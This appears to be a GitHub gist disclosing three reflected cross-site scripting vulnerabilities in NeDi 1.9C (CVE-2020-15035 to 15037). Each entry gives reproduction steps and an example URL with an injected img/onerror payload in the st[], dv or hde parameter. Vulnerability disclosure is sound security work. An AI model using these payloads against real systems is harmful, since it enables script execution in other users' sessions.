

sudoninja-noob / NeDi 1.9C Multiple XSS

Last active 2 years ago



<> Code Revisions 3

NeDi 1.9C Multiple XSS

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1 Description:-
2 NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
3 The application allows an attacker to execute arbitrary JavaScript code via the "Reports-Devices.php" page on "st[]" parameter.
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5 Steps To Reproduce:-
6 1. Login to the Application.
7 2. Go to "https://ip/Reports-Devices.php" page.
8 3. Add st[] parameter at the end of the URL.
9 Example:- https://ip/Reports-Devices.php?in[]=device&op[]=~&st[]="><img src=x onerror=alert(document.domain)>&lr=10
10
11 Reference: CVE-2020-15037
12
13
14 Description:-
15 NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
16 The application allows an attacker to execute arbitrary JavaScript code via the "Topology-Linked.php" page on "dv" parameter.
17
18 Steps To Reproduce:-
19 1. Login to the Application.
20 2. Go to "https://ip/Topology-Linked.php" page.
21 3. Add dv parameter at the end of the URL.
22 Example:- https://ip/Topology-Linked.php?dv=<img src=x onerror=alert(document.domain)>
23
24 Reference: CVE-2020-15036
25
26
27 Description:-
28 NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
29 The application allows an attacker to execute arbitrary JavaScript code via the "Monitoring-Map.php" page on "hde" parameter.
30
31 Steps To Reproduce:-
32 1. Login to the Application.
33 2. Go to "https://ip/Monitoring-Map.php" page.
34 3. Add tet parameter at the end of the URL.
35 Example:- https://ip/Monitoring-Map.php?hde="><img src=x onerror=alert(document.domain)>
36
37 Reference: CVE-2020-15035
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